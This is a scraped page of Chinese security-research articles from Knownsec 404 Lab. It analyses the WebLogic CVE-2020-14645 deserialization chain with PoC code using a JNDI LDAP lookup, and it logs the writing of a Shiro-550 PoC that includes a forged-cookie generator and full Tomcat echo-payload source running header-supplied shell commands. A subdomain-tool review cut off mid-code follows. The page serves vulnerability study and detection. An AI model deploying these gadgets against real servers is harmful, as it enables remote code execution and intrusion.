-
WebLogic coherence UniversalExtractor 反序列化 (CVE-2020-14645) 漏洞分析
作者:DEADF1SH_CAT@知道创宇404实验室
时间:2020年8月3日前言
Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9.8。
该漏洞是针对于CVE-2020-2883的补丁绕过,CVE-2020-2883补丁将
MvelExtractor
和ReflectionExtractor
列入黑名单,因此需要另外寻找一个存在extract
且方法内存在恶意操作的类,这里用到的类为com.tangosol.util.extractor.UniversalExtractor
,存在于Coherence组件。CVE-2020-2883
先来回顾一下CVE-2020-2883的两个poc调用链
123456789101112131415161718192021222324252627//poc1javax.management.BadAttributeValueExpException.readObject()com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString()java.util.concurrent.ConcurrentSkipListMap$SubMap.size()java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd()java.util.concurrent.ConcurrentSkipListMap.cpr()com.tangosol.util.comparator.ExtractorComparator.compare()com.tangosol.util.extractor.ChainedExtractor.extract()com.tangosol.util.extractor.ReflectionExtractor().extract()Method.invoke()//...com.tangosol.util.extractor.ReflectionExtractor().extract()Method.invoke()Runtime.exec()//poc2java.util.PriorityQueue.readObject()java.util.PriorityQueue.heapify()java.util.PriorityQueue.siftDown()java.util.PriorityQueue.siftDownUsingComparator()com.tangosol.util.extractor.AbstractExtractor.compare()com.tangosol.util.extractor.MultiExtractor.extract()com.tangosol.util.extractor.ChainedExtractor.extract()//...Method.invoke()//...Runtime.exec()其本质上,都是通过
ReflectionExtractor
调用任意方法,从而实现调用Runtime对象的exec方法执行任意命令,但补丁现在已经将ReflectionExtractor
列入黑名单,那么只能使用UniversalExtractor
重新构造一条利用链,这里使用poc2的入口即CommonsCollections4链的入口进行构造。CVE-2020-14645
为了方便一些纯萌新看懂,此处将会从0开始分析反序列化链(啰嗦模式警告),并且穿插一些poc构造时需要注意的点,先来看看调用栈。
从头开始跟进分析整个利用链,先来看看
PriorityQueue.readObject()
方法。第792会执行for循环,将
s.readObject()
方法赋给queue
对象数组,跟进heapify()
方法。这里会取一半的queue数组分别执行
siftDown(i, (E) queue[i]);
,实质上PriorityQueue
是一个最小堆,这里通过siftDown()
方法进行排序实现堆化,那么跟进siftDown()
方法。这里有个对于
comparator
的判定,我们暂时不考虑comparator
的值是什么,接下来会使用到,我们先跟进siftDownUsingComparator()
方法。重点关注
comparator.compare()
方法,那么我们先来看看comparator
是怎么来的。是在
PriorityQueue
的构造函数中被赋值的,并且这里可以看到,queue
对象数组也是在这里被初始化的。那么结合上述所分析的点,我们需要构造一个长度为2的queue
对象数组,才能触发排序,进入siftDown()
方法。同时还要选择一个comparator
,这里选用ExtractorComparator
。继续跟进ExtractorComparator.compare()
方法。这里将会调用
this.m_extractor.extract()
方法,让我们看看this.m_extractor
是怎么来的。可以看到,
this.m_extractor
的值是与传入的extractor
有关的。这里需要构造this.m_extractor
为ChainedExtractor
,才可以调用ChainedExtractor
的extract()
方法实现串接extract()
调用。因此,首先需要构造这样一个PriorityQueue
对象:12PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));//这里chainedExtractor为ChainedExtractor对象,后续会说明chainedExtractor对象的具体构造继续跟进
ChainedExtractor.extract()
方法,可以发现会遍历aExtractor
数组,并调用其extract()
方法。此处
aExtractor
数组是通过ChainedExtractor
的父类AbstractCompositeExtractor
的getExtractors()
方法获取到父类的m_aExtractor
属性值。所以,poc中需要这样构造
m_aExtractor
:123Class clazz = ChainedExtractor.class.getSuperclass();Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");m_aExtractor.setAccessible(true);m_aExtractor
具体的值需要怎么构造,需要我们继续往下分析。先回到我们所要利用到的UniversalExtractor
,跟进其extract()
方法。此处由于
m_cacheTarget
使用了transient
修饰,无法被反序列化,因此只能执行else部分,跟进extractComplex()
方法。这里看到最后有
method.invoke()
方法,oTarget
和aoParam
都是我们可控的,因此我们需要看看method
的处理,跟进findMethod
方法。可以看到第477行可以获取任意方法,但是要进入if语句,得先使
fExactMatch
为true
,fStatic
为false
。可以看到fStatic
是我们可控的,而fExactMatch
默认为true
,只要没进入for循环即可保持true
不变,使cParams
为空即aclzParam
为空的Class数组即可,此处aclzParam
从getClassArray()
方法获取。显而易见,传入一个空的
Object[]
即可。回到extractComplex()
方法,此时我们只要我们进入第192行的else语句中,即可调用任意类的任意方法。但此时还需要fProperty
的值为false
,跟进isPropertyExtractor()
方法。可惜
m_fMethod
依旧是使用transient
修饰,溯源m_fMethod
的赋值过程。可以看到,由于this对象的原因,
getValueExtractorCanonicalName()
方法始终返回的是null,那么跟进computeValuExtractorCanonicalName()
方法。此处不难理解,如果
aoParam
不为null
且数组长度大于0就会返回null
,因此我们调用的方法必须是无参的(因为aoParam
必须为null
)。接着如果方法名sName
不以 () 结尾,则会直接返回方法名。否则会判断方法名是否以VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES
数组中的前缀开头,是的话就会截取掉并返回。回到
extractComplex
方法中,在if条件里会对上述返回的方法名做首字母大写处理,然后拼接BEAN_ACCESSOR_PREFIXES
数组中的前缀,判断clzTarget
类中是否含有拼接后的方法。这时发现无论如何我们都只能调用任意类中get
和is
开头的方法,并且还要是无参的。整理下我们可以利用的思路:
- 调用
init()
方法,对this.method
进行赋值,从而使fProperty
的值为false
,从而进入else分支语句,实现调用任意类的任意方法。然而这个思路马上就被终结了,因为我们根本调用不了非get
和is
开头的方法!!! - 被
transient
修饰的m_cacheTarget
在extractComplex
方法中被赋值
在
ExtractorComparator.compare()
方法中,我们知道extract
方法能被执行两次,因此在第二次执行时,能够在UniversalExtractor.extract
方法中调用targetPrev.getMethod().invoke(oTarget, this.m_aoParam)
方法。但是这种方法也是行不通的,因为getMethod()
获取的就是图上红框的中的method
,很显然method
依旧受到限制,当我们调用非get
和is
开头的方法时,findMethod
会返回null
。- 只能走方法被限制的路线了,寻找所有类中以
get
和is
开头并且可利用的无参方法
复现过Fastjson反序列化漏洞的小伙伴,应该清楚Fastjson的利用链寻找主要针对
get
和set
方法,这时候就与我们的需求有重合处,不难想到JdbcRowSetImpl
的JNDI注入,接下来一起回顾一下。其
connect
方法中调用了lookup
方法,并且DataSourceName
是可控的,因此存在JNDI注入漏洞,看看有哪些地方调用了connect
方法。有三个方法调用了
connect
方法,分别为prepare
、getDatabaseMetaData
和setAutoCommit
方法,逐一分析。- prepare()
一开始就调用了
connect
方法,继续回溯哪里调用了prepare
方法。execute
方法,应该是用于执行sql查询的这个应该是用于获取参数元数据的方法,
prepare()
方法应该都是用于一些与sql语句有关的操作方法中。- getDatabaseMetaData()
- setAutoCommit()
必须让
this.conn
为空,对象初始化时默认为null
,因此直接进入else语句。其实this.conn
就是connect
方法,用于保持数据库连接状态。回到
connect
方法,我们需要进入else语句才能执行lookup
方法。有两个前提条件,this.conn
为空,也就是执行connect
方法时是第一次执行。第二个条件是必须设置DataSourceName
的值,跟进去该参数,发现为父类BaseRowSet
的private
属性,可被反序列化。那么,对于WebLogic这个反序列化利用链,我们只要利用
getDatabaseMetaData()
方法就行,接下来看看该怎么一步步构造poc。先从JdbcRowSetImpl
的JNDI注入回溯构造:1234567JdbcRowSetImpl jdbcRowSet = (JdbcRowSetImpl)JdbcRowSetImpl.class.newInstance();Method setDataSource_Method = jdbcRowSet.getClass().getMethod("setDataSourceName", String.class);setDataSource_Method.invoke(jdbcRowSet,"ldap://xx.xx.xx.xx:1389/#Poc");//地址自行构造//利用ysoserial的Reflections模块,由于需要获取queue[i]进行compare,因此需要对数组进行赋值Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));queueArray[0] = jdbcRowSet;queueArray[1] = jdbcRowSet;接着构造
UniversalExtract
对象,用于调用JdbcRowSetImpl
对象的方法12345UniversalExtractor universalExtractor = new UniversalExtractor();Object object = new Object[]{};Reflections.setFieldValue(universalExtractor,"m_aoParam",object);Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");Reflections.setFieldValue(universalExtractor,"m_fMethod",false);紧接着将
UniversalExtract
对象装载进文章开头构造的chainedExtractor
对象中12ValueExtractor[] valueExtractor_list = new ValueExtractor[]{ universalExtractor };field.set(chainedExtractor,valueExtractor_list2);//field为m_aExtractor此处,还有一个小点需注意,一个在文章开头部分构造的
PriorityQueue
对象,需要构造一个临时Extractor
对象,用于创建时的comparator
,此处以ReflectionExtractor
为例。其次,PriorityQueue
对象需要执行两次add
方法。12345ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString",new Object[]{});ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor});PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));queue.add("1");queue.add("1");回到
PriorityQueue
对象的readObject
方法首先需要能进入for循环,for循环就得有
size
的值,size
值默认为0,private属性,可以通过反射直接设置,但是不想通过反射怎么办,回溯赋值过程。在
offer
方法处获得赋值,而offer
方法又是由add
方法调用。(注意此处会执行siftUp
方法,其中会触发comparator的compare
方法,从而执行extract
方法)。不难理解,每
add
一次,size
加1,根据上述heapify
方法,只会从开头开始取一半的queue
数组执行siftDown
方法。所以size
至少为2,需要执行两次add
方法,而不是add(2)
一次。至此,poc的主体就构造完成,其余部分就不在此阐述了,当然构造方式有很多,此处为方便萌新,分析得比较啰嗦,poc也比较杂乱,大家可以自行构造属于自己的poc。如果想要了解简洁高效的poc,可以参考一下Y4er师傅的poc[3]。
体会
初次接触完整的反序列化漏洞分析,在整个分析过程中收获到很多东西。笔者得到的不仅仅只是知识上的收获,在调试过程中也学到了很多调试技巧。另外本文看起来可能会比较啰嗦冗余,但其初衷是想要站在读者的角度去思考,去为了方便一些同样刚入门的人阅读起来,能够更加浅显易懂。学安全,我们经常会碰壁,对于一些知识会比较难啃。有些人遇到就选择了放弃,然后却因此原地踏步。不妨就这样迎难而上,咬着牙啃下去,到最后,你会发现,你得到的,远远比你付出的要多。可能对部分人不太有效、毕竟因人而异,但这是自己在学习过程中所体会到的,也因此想要分享给大家这么一个建议。相信在未来,自己对于反序列化漏洞的理解以及挖掘思路,能够有更深刻的认知,同时激发出自己不一样的思维碰撞。
References
[1] Oracle 7月安全更新
https://www.oracle.com/security-alerts/cpujul2020.html
[2] T3反序列化 Weblogic12.2.1.4.0 JNDI注入
https://mp.weixin.qq.com/s/8678EM15rZSeFBHGDfPvPQ
[3] Y4er的poc
https://github.com/Y4er/CVE-2020-14645
[4] Java反序列化:基于CommonsCollections4的Gadget分析
https://www.freebuf.com/articles/others-articles/193445.html
[5] Oracle WebLogic 最新补丁的绕过漏洞分析(CVE-2020-2883)
https://blog.csdn.net/systemino/article/details/106117659
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1280/
没有评论 - 调用
-
基于网络空间搜索引擎的通用漏洞挖掘
作者:知道创宇404实验室
时间:2020年8月4日FIT 2019 大会上,黑哥发表《基于网络空间搜索引擎的通用漏洞挖掘》主题演讲,介绍了知道创宇旗下网络空间搜索引擎 “ZoomEye 钟馗之眼”的诞生、特点与使用,尤其是以404实验室研究实例讲述了利用ZoomEye进行网络空间漏洞挖掘的方法。有兴趣的同学可以按照黑哥提出的网络空间漏洞挖掘套路进行实战演练,还可以利用ZoomEye通过调用API实现自动化平台等等,更多实现方式等待你去发现。附上演讲议题PDF下载:https://images.seebug.org/archive
另外还有一个好消息,ZoomEye API接口输出数据不再有限制!HW行动在即,“ZoomEye 钟馗之眼”发布了重大更新,取消原有 API 接口(包括数据下载功能)最高随机输出 40% 数据的限制,全面支持 100% 的数据输出服务。此次更新打破了ZoomEye自上线以来的一个限制,对使用者更友好,近期我们还将发布一些新功能及细节优化,敬请期待!
访问ZoomEye:https://www.zoomeye.org/
-
Shiro-550 PoC 编写日记
作者:w7ay @ 知道创宇404实验室
时间:2020年8月11日深刻认识到不会java搞这类poc的困难,只能做一个无情的搬砖机器。
目标是编写Pocsuite3 python版本的Shiro-550 PoC,最好不要依赖其他东西。
本文没有新奇的观点,只是记录日常 =_=
Shiro识别
看到@pmiaowu开源的burp shiro检测插件 https://github.com/pmiaowu/BurpShiroPassiveScan
看了下源码,主要有三种判断方式
- 原始cookie key带了rememberMe
- 原始请求返回cookie中value带有deleteMe
- 以上条件都不满足时,发送cookie
rememberMe=1
检测Shiro key
l1nk3r师傅 的 基于原生shiro框架 检测方法
简述下如何不依赖java环境来检测poc。
1234567891011121314151617import org.apache.shiro.subject.SimplePrincipalCollection;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;public class ss1 {public static void main(String args[]) throws IOException {System.out.println("Hellow ");SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));obj.writeObject(simplePrincipalCollection);obj.close();}}可得到生成的反序列二进制payload(最好使用jdk6来编译,能够兼容之后的版本)
1b'\xac\xed\x00\x05sr\x002org.apache.shiro.subject.SimplePrincipalCollection\xa8\x7fX%\xc6\xa3\x08J\x03\x00\x01L\x00\x0frealmPrincipalst\x00\x0fLjava/util/Map;xppw\x01\x00x'将这段payload内置到poc里即可。
通过python函数生成最终检测payload
123456789def generator2(key, bb: bytes):BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(key), mode, iv)file_body = pad(bb)base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertext其中key是shiro需要检测的key,bb是生成的payload,当key正确时,不会返回deleteMe
回显payload
一开始看的是宽字节安全的burp插件:https://github.com/potats0/shiroPoc
但在本地环境下测试没有成功,之后猜测可能是gadgets或java版本的问题
看他的exploitType代码
类似于java的汇编代码?确认过眼神是看不懂的。
然后在GitHub上找到一个开源的exp https://github.com/Ares-X/shiro-exploit/blob/master/shiro.py
它将gadget base64之后硬编码到了python中,正好符合我的需求。
经过测试用
CommonsCollections1
就可以在我本地环境复现了。到这里就可以写poc了,但我还想看看这些硬编码的payload是怎么来的。
更细节
那些硬编码的文件是反序列化的文件,我想找到Tomcat的通用回显的源码。@longofo告诉我可以通过
CA FE BA BE
(cafebaby)来确定class的特征,将它和后面的数据保存为class文件。然后拖到idea反编译后就能看到源码了
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105//// Source code recreated from a .class file by IntelliJ IDEA// (powered by Fernflower decompiler)//import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import java.lang.reflect.Field;import java.util.List;import java.util.Scanner;public class FooDDl2ZFf8Y extends AbstractTranslet {private static void writeBody(Object var0, byte[] var1) throws Exception {Object var2;Class var3;try {var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");var2 = var3.newInstance();var3.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(var2, var1, new Integer(0), new Integer(var1.length));var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);} catch (NoSuchMethodException var5) {var3 = Class.forName("java.nio.ByteBuffer");var2 = var3.getDeclaredMethod("wrap", byte[].class).invoke(var3, var1);var0.getClass().getMethod("doWrite", var3).invoke(var0, var2);}}private static Object getFV(Object var0, String var1) throws Exception {Field var2 = null;Class var3 = var0.getClass();while(var3 != Object.class) {try {var2 = var3.getDeclaredField(var1);break;} catch (NoSuchFieldException var5) {var3 = var3.getSuperclass();}}if (var2 == null) {throw new NoSuchFieldException(var1);} else {var2.setAccessible(true);return var2.get(var0);}}public FooDDl2ZFf8Y() throws Exception {boolean var4 = false;Thread[] var5 = (Thread[])getFV(Thread.currentThread().getThreadGroup(), "threads");for(int var6 = 0; var6 < var5.length; ++var6) {Thread var7 = var5[var6];if (var7 != null) {String var3 = var7.getName();if (!var3.contains("exec") && var3.contains("http")) {Object var1 = getFV(var7, "target");if (var1 instanceof Runnable) {try {var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");} catch (Exception var13) {continue;}List var9 = (List)getFV(var1, "processors");for(int var10 = 0; var10 < var9.size(); ++var10) {Object var11 = var9.get(var10);var1 = getFV(var11, "req");Object var2 = var1.getClass().getMethod("getResponse").invoke(var1);var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testecho");if (var3 != null && !var3.isEmpty()) {var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200));var2.getClass().getMethod("addHeader", String.class, String.class).invoke(var2, "Testecho", var3);var4 = true;}var3 = (String)var1.getClass().getMethod("getHeader", String.class).invoke(var1, "Testcmd");if (var3 != null && !var3.isEmpty()) {var2.getClass().getMethod("setStatus", Integer.TYPE).invoke(var2, new Integer(200));String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3};writeBody(var2, (new Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes());var4 = true;}if ((var3 == null || var3.isEmpty()) && var4) {writeBody(var2, System.getProperties().toString().getBytes());}if (var4) {break;}}if (var4) {break;}}}}}}}就算解出了源码,看的也不是太懂,可能是根据java的各种魔法来实现的吧 - = 于是就转而开始写poc了。
没想到写完poc的第二天,xray的作者就给出检测细节和源码。
通过比对源码:https://github.com/frohoff/ysoserial/compare/master...zema1:master
可以找到tomcat的全版本回显的payload
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134public static Object createTemplatesTomcatEcho() throws Exception {if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {return createTemplatesImplEcho(Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));}return createTemplatesImplEcho(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);}// Tomcat 全版本 payload,测试通过 tomcat6,7,8,9// 给请求添加 Testecho: 123,将在响应 header 看到 Testecho: 123,可以用与可靠漏洞的漏洞检测// 给请求添加 Testcmd: id 会执行 id 命令并将回显写在响应 body 中public static <T> T createTemplatesImplEcho(Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)throws Exception {final T templates = tplClass.newInstance();// use template gadget classClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(abstTranslet));CtClass clazz;clazz = pool.makeClass("ysoserial.Pwner" + System.nanoTime());if (clazz.getDeclaredConstructors().length != 0) {clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);}clazz.addMethod(CtMethod.make("private static void writeBody(Object resp, byte[] bs) throws Exception {\n" +" Object o;\n" +" Class clazz;\n" +" try {\n" +" clazz = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n" +" o = clazz.newInstance();\n" +" clazz.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(o, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n" +" resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +" } catch (ClassNotFoundException e) {\n" +" clazz = Class.forName(\"java.nio.ByteBuffer\");\n" +" o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" +" resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +" } catch (NoSuchMethodException e) {\n" +" clazz = Class.forName(\"java.nio.ByteBuffer\");\n" +" o = clazz.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(clazz, new Object[]{bs});\n" +" resp.getClass().getMethod(\"doWrite\", new Class[]{clazz}).invoke(resp, new Object[]{o});\n" +" }\n" +"}", clazz));clazz.addMethod(CtMethod.make("private static Object getFV(Object o, String s) throws Exception {\n" +" java.lang.reflect.Field f = null;\n" +" Class clazz = o.getClass();\n" +" while (clazz != Object.class) {\n" +" try {\n" +" f = clazz.getDeclaredField(s);\n" +" break;\n" +" } catch (NoSuchFieldException e) {\n" +" clazz = clazz.getSuperclass();\n" +" }\n" +" }\n" +" if (f == null) {\n" +" throw new NoSuchFieldException(s);\n" +" }\n" +" f.setAccessible(true);\n" +" return f.get(o);\n" +"}\n", clazz));clazz.addConstructor(CtNewConstructor.make("public TomcatEcho() throws Exception {\n" +" Object o;\n" +" Object resp;\n" +" String s;\n" +" boolean done = false;\n" +" Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n" +" for (int i = 0; i < ts.length; i++) {\n" +" Thread t = ts[i];\n" +" if (t == null) {\n" +" continue;\n" +" }\n" +" s = t.getName();\n" +" if (!s.contains(\"exec\") && s.contains(\"http\")) {\n" +" o = getFV(t, \"target\");\n" +" if (!(o instanceof Runnable)) {\n" +" continue;\n" +" }\n" +"\n" +" try {\n" +" o = getFV(getFV(getFV(o, \"this$0\"), \"handler\"), \"global\");\n" +" } catch (Exception e) {\n" +" continue;\n" +" }\n" +"\n" +" java.util.List ps = (java.util.List) getFV(o, \"processors\");\n" +" for (int j = 0; j < ps.size(); j++) {\n" +" Object p = ps.get(j);\n" +" o = getFV(p, \"req\");\n" +" resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);\n" +" s = (String) o.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(o, new Object[]{\"Testecho\"});\n" +" if (s != null && !s.isEmpty()) {\n" +" resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" +" resp.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(resp, new Object[]{\"Testecho\", s});\n" +" done = true;\n" +" }\n" +" s = (String) o.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(o, new Object[]{\"Testcmd\"});\n" +" if (s != null && !s.isEmpty()) {\n" +" resp.getClass().getMethod(\"setStatus\", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});\n" +" String[] cmd = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", s} : new String[]{\"/bin/sh\", \"-c\", s};\n" +" writeBody(resp, new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes());\n" +" done = true;\n" +" }\n" +" if ((s == null || s.isEmpty()) && done) {\n" +" writeBody(resp, System.getProperties().toString().getBytes());\n" +" }\n" +"\n" +" if (done) {\n" +" break;\n" +" }\n" +" }\n" +" if (done) {\n" +" break;\n" +" }\n" +" }\n" +" }\n" +"}", clazz));CtClass superC = pool.get(abstTranslet.getName());clazz.setSuperclass(superC);final byte[] classBytes = clazz.toBytecode();// inject class bytes into instanceReflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes,// classBytes, ClassFiles.classAsBytes(Foo.class)});// required to make TemplatesImpl happyReflections.setFieldValue(templates, "_name", "Pwnr");Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());return templates;}至于为什么要那么写,可能也是因为某种魔法,我暂时还不明白。
和一些特别的链
ysoserial 中的
CommonsCollections4
只能用于 CC4.0 版本,我把这个利用链进行了改进使其支持了 CC3 和 CC4 两个版本,形成了上面说的 K1/K2 两条链,这两条链就是我们处理 Shiro 这个环境的秘密武器。经过这些准备,我们已经从手无缚鸡之力的书生变为了身法矫健的少林武僧,可以直击敌方咽喉,一举拿下目标。万事具备,只欠东风。PoC演示
一路下来迷迷糊糊啥也不明白真实太菜了,只能在一些大佬的肩膀上搬搬砖这样子了。
PoC集成了识别,检测key,命令执行回显以及shell反弹的操作。
检测识别key
攻击模式执行任意命令
shell反连
最后也顺便给w13scan - 被动扫描器增加了一份Shiro插件。
感谢看完全程,不说了,学习java去。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1290/
-
从代码角度看各类子域名收集工具
作者:w7ay @ 知道创宇404实验室
时间:2020年8月12日开源的域名收集工具有很多,本文会从代码的角度去看各类开源的域名收集工具的技术特点,以及各有哪些优缺点,来帮助大家,在合适的时候选择合适的利用工具。
这里选取了常用和知名的工具,包括
subDomainBrute
,Sublist3r
,ESD
,OneForAll
,dnsprobe
,subfinder
,shuffledns
,massdns
subDomainBrute
Github:https://github.com/lijiejie/subDomainsBrute
最早使用是lijiejie的子域名爆破工具,也是学习python时最早看的源码。
看了下commit,最早发布是在2015年,另外最近的一次更新使它支持了Python3。
subDomainBrute
是通过纯DNS爆破来找到子域名,为了最大提升效率,subDomainBrute
用协程+多进程的方式进行爆破。对于python3,使用
asyncio
,aiodns
库进行异步dns的发包,但对于python2,使用的是dnspython
gevent
库,应该是历史原因导致的。Dns server test
对于爆破dns来说,有足够多且快的dns server是关键(爆破一段时间后,可能会有dns不再回应请求)
可以自己配置dns server在
dict/dns_servers.txt
文件中,subDomainBrute
会在程序启动时测试DNS。首先测试dns server
测试 public-dns-a.baidu.com 返回 180.76.76.76 是正确的dns
测试 test.bad.dns.lijiejie.com 抛出异常则为正确的dns,如果有返回结果,则不正常。
泛域名
subDomainBrute
没有泛域名处理,如果存在泛域名解析,程序就会直接退出。Sublist3r
Github https://github.com/aboul3la/Sublist3r
Sublist3r也是2015年发布的,在暴力破解的基础上还会通过接口枚举来获取域名。
它的爆破模块用的是 https://github.com/TheRook/subbrute
SubBrute是一个社区驱动的项目,旨在创建最快,最准确的子域枚举工具。SubBrute背后的神奇之处在于它使用开放式解析器作为一种代理来规避DNS速率限制(https://www.us-cert.gov/ncas/alerts/TA13-088A)。该设计还提供了一层匿名性,因为SubBrute不会将流量直接发送到目标的名称服务器。
提供了一层匿名性 => 用很多代理DNS来进行DNS请求
它只有多进程来运行爆破程序,如果在Windows下,它只会使用线程
可能是觉得在Windows下难以操控多线程吧。
但这样一来它的效率就太慢了。
它支持的搜索引擎
123456789101112supported_engines = {'baidu': BaiduEnum,'yahoo': YahooEnum,'google': GoogleEnum,'bing': BingEnum,'ask': AskEnum,'netcraft': NetcraftEnum,'dnsdumpster': DNSdumpster,'virustotal': Virustotal,'threatcrowd': ThreatCrowd,'ssl': CrtSearch,'passivedns': PassiveDNS}用随机数来判断是否泛解析
123#Using a 32 char string every time may be too predictable.x = uuid.uuid4().hex[0:random.randint(6, 32)]testdomain = "%s.%s" % (x, host)同样它也不支持泛解析的支持。
唯一有优势的就是它能作为一个python包存在,通过pip就能快速安装使用,或者把它集成在代码中。
ESD
Github:https://github.com/FeeiCN/ESD
相比于的暴力收集手段,esd在很多方面有独特的想法。
支持泛解析域名
基于
RSC
(响应相似度对比)技术对泛解析域名进行枚举(受网络质量、网站带宽等影响,速度会比较慢)基于
aioHTTP
获取一个不存在子域名的响应内容,并将其和字典子域名响应进行相似度比对。 超过阈值则说明是同个页面,否则则为可用子域名,并对最终子域名再次进行响应相似度对比。更快的速度
基于
AsyncIO
异步协程技术对域名进行枚举(受网络和DNS服务器影响会导致扫描速度小幅波动,基本在250秒以内)基于
AsyncIO
+aioDNS
将比传统多进程/多线程/gevent模式快50%以上。 通过扫描qq.com
,共170083
条规则,找到1913
个域名,耗时163
秒左右,平均1000+条/秒
。更全的字典
融合各类字典,去重后共170083条子域名字典
- 通用字典
- 单字母、单字母+单数字、双字母、双字母+单数字、双字母+双数字、三字母、四字母
- 单数字、双数字、三数字
- 域名解析商公布使用最多的子域名
- DNSPod: dnspod-top2000-sub-domains.txt
- 其它域名爆破工具字典
- subbrute: names_small.txt
- subDomainsBrute: subnames_full.txt
更多的收集渠道
- 收集DNSPod接口泄露的子域名
- 收集页面响应内容中出现的子域名
- 收集跳转过程中的子域名
- 收集HTTPS证书透明度子域名
- 收集DNS域传送子域名
- 收集搜索引擎子域名
- 收集zoomeye、censys、fofa、shodan的接口结果
DNS服务器
- 解决各家DNS服务商对于网络线路出口判定不一致问题
- 解决各家DNS服务商缓存时间不一致问题
- 解决随机DNS问题,比如fliggy.com、plu.cn等
- 根据网络情况自动剔除无效DNS,提高枚举成功率
很多实现都值得学习,这里贴出一些值得学习的代码。
域传输漏洞实现
123456789101112131415161718192021222324class DNSTransfer(object):def __init__(self, domain):self.domain = domaindef transfer_info(self):ret_zones = list()try:nss = dns.resolver.query(self.domain, 'NS')nameservers = [str(ns) for ns in nss]ns_addr = dns.resolver.query(nameservers[0], 'A')# dnspython 的 bug,需要设置 lifetime 参数zones = dns.zone.from_xfr(dns.query.xfr(ns_addr, self.domain, relativize=False, timeout=2, lifetime=2), check_origin=False)names = zones.nodes.keys()for n in names:subdomain = ''for t in range(0, len(n) - 1):if subdomain != '':subdomain += '.'subdomain += str(n[t].decode())if subdomain != self.domain:ret_zones.append(subdomain)return ret_zonesexcept BaseException:return []HTTPS证书透明度获取子域名
12345678910111213141516171819202122232425262728293031323334353637383940414243444546class CAInfo(object):def __init__(self, domain):self.domain = domaindef dns_resolve(self):padding_domain = 'www.' + self.domain# loop = asyncio.get_event_loop()loop = asyncio.new_event_loop()asyncio.set_event_loop(loop)resolver = aiodns.DNSResolver(loop=loop)f = resolver.query(padding_domain, 'A')result = loop.run_until_complete(f)return result[0].hostdef get_cert_info_by_ip(self, ip):s = socket.socket()s.settimeout(2)base_dir = os.path.dirname(os.path.abspath(__file__))cert_path = base_dir + '/cacert.pem'connect = ssl.wrap_socket(s, cert_reqs=ssl.CERT_REQUIRED, ca_certs=cert_path)connect.settimeout(2)connect.connect((ip, 443))cert_data = connect.getpeercert().get('subjectAltName')return cert_datadef get_ca_domain_info(self):domain_list = 